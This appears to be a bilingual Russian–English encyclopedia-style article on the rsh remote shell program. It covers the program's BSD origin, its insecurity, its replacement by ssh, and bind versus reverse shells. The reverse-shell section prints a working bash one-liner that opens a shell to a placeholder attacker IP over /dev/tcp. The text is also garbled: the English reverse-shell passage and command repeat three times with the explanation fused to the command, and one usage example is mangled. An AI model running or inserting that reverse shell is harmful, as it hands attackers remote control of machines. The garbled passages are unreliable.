Сравнивайте с английским: нажмите на абзац — оригинал откроется в окне. Кнопка EN под абзацем показывает его прямо в тексте.
Содержание
Введение
Программа командной строки
Command line program
Удаленная оболочка (rsh) — это компьютерная программа, работающая в командной строке, которая позволяет выполнять команды оболочки от имени другого пользователя на другом компьютере в компьютерной сети. На удаленной системе, к которой подключается rsh, работает демон rsh (rshd). Этот демон обычно использует известный порт 513 протокола управления передачей (TCP).
The remote shell (rsh) is a command line computer program that can execute shell commands as another user, and on another computer across a computer network. The remote system to which rsh connects runs the rsh daemon (rshd). The daemon typically uses the well known Transmission Control Protocol (TCP) port number 513.
История
Rsh возник как часть операционной системы BSD Unix вместе с rcp, входя в пакет rlogin в 4.2BSD в 1983 году. С тех пор rsh был портирован на другие операционные системы. Команда rsh имеет такое же имя, как и другая распространенная утилита UNIX – ограниченная оболочка, впервые появившаяся в PWB/UNIX; в System V Release 4 ограниченная оболочка часто располагается по адресу /usr/bin/rsh. Как и другие команды r от Berkeley, связанные с аутентификацией пользователей, протокол rsh небезопасен для использования в сети, поскольку он передает незашифрованные данные по сети и по другим причинам. Некоторые реализации также осуществляют аутентификацию путем отправки незашифрованных паролей по сети. Rsh в значительной степени заменен программой Secure Shell (ssh), даже в локальных сетях.
Rsh originated as part of the BSD Unix operating system, along with rcp, as part of the rlogin package on 4.2BSD in 1983. rsh has since been ported to other operating systems. The rsh command has the same name as another common UNIX utility, the restricted shell, which first appeared in PWB/UNIX; in System V Release 4, the restricted shell is often located at /usr/bin/rsh. As other Berkeley r commands which involve user authentication, the rsh protocol is not secure for network use, because it sends unencrypted information over the network, among other reasons. Some implementations also authenticate by sending unencrypted passwords over the network. rsh has largely been replaced with the secure shell (ssh) program, even on local networks.
Пример
В качестве примера использования rsh, следующая команда выполняет `mkdir testdir` от имени пользователя remoteuser на компьютере host.example.com, работающем под управлением UNIX-подобной системы:
As an example of rsh use, the following executes the command mkdir testdir as user remoteuser on the computer host. example. com running a UNIX like system:
$ rsh remoteuser host.example.com "mkdir testdir"
$ rsh l remoteuser host. example. com "mkdir testdir"
После завершения команды rsh завершает работу. Если команда не указана, rsh выполнит вход в удаленную систему, используя rlogin. Сетевое расположение удаленного компьютера определяется с помощью системы доменных имен.
After the command has finished rsh terminates. If no command is specified then rsh will log in on the remote system using rlogin. The network location of the remote computer is looked up using the Domain Name System.
Привязка и обратная оболочка
Удаленная сессия оболочки может быть инициирована либо локальным устройством (которое отправляет команды), либо удаленным устройством (на котором команды выполняются). В первом случае удаленная оболочка называется bind shell, во втором – reverse shell. Reverse shell может использоваться, когда устройство, на котором необходимо выполнить команду, недоступно напрямую, например, для удаленного обслуживания компьютеров, расположенных за NAT, к которым нельзя получить доступ извне. Некоторые эксплойты создают reverse shell от скомпрометированного устройства обратно на машины, контролируемые злоумышленниками (это называется "reverse shell атакой"). Следующий код демонстрирует reverse shell атаку:
A remote shell session can be initiated by either a local device (which sends commands) or a remote device (on which commands are executed). In the first case remote shell will be called bind shell, in the second case reverse shell. Reverse shell can be used when the device on which the command is to be executed is not directly accessible for example, for remote maintenance of computers located behind NAT that cannot be accessed from the outside. Some exploits create reverse shell from an attacked device back to machines controlled by the attackers (called "reverse shell attack"). The following code demonstrates a reverse shell attack:
$ exec 5<>/dev/tcp/<attacker IP>/80;cat <&5 | while read line; do \$line 2>&5 >&5; doneIt opens a TCP socket to attacker IP at port 80 as a file descriptor. It then repeatedly read lines from the socket and run the line, piping both stdout and stderr back to the socket. In other words, it gives the attacker a remote shell on the machine.
$ exec 5<>/dev/tcp/<IP-адрес атакующего>/80; cat <&5 | while read line; do $line 2>&5 >&5; done
A remote shell session can be initiated by either a local device (which sends commands) or a remote device (on which commands are executed). In the first case remote shell will be called bind shell, in the second case reverse shell. Reverse shell can be used when the device on which the command is to be executed is not directly accessible for example, for remote maintenance of computers located behind NAT that cannot be accessed from the outside. Some exploits create reverse shell from an attacked device back to machines controlled by the attackers (called "reverse shell attack"). The following code demonstrates a reverse shell attack:
$ exec 5<>/dev/tcp/<attacker IP>/80;cat <&5 | while read line; do \$line 2>&5 >&5; doneIt opens a TCP socket to attacker IP at port 80 as a file descriptor. It then repeatedly read lines from the socket and run the line, piping both stdout and stderr back to the socket. In other words, it gives the attacker a remote shell on the machine.
Он открывает TCP-сокет на порту 80 по IP-адресу атакующего в качестве файлового дескриптора. Затем он многократно считывает строки из сокета и выполняет их, перенаправляя как стандартный вывод (stdout), так и стандартный поток ошибок (stderr) обратно в сокет. Другими словами, это предоставляет атакующему удаленную оболочку на целевой машине.
A remote shell session can be initiated by either a local device (which sends commands) or a remote device (on which commands are executed). In the first case remote shell will be called bind shell, in the second case reverse shell. Reverse shell can be used when the device on which the command is to be executed is not directly accessible for example, for remote maintenance of computers located behind NAT that cannot be accessed from the outside. Some exploits create reverse shell from an attacked device back to machines controlled by the attackers (called "reverse shell attack"). The following code demonstrates a reverse shell attack:
$ exec 5<>/dev/tcp/<attacker IP>/80;cat <&5 | while read line; do \$line 2>&5 >&5; doneIt opens a TCP socket to attacker IP at port 80 as a file descriptor. It then repeatedly read lines from the socket and run the line, piping both stdout and stderr back to the socket. In other words, it gives the attacker a remote shell on the machine.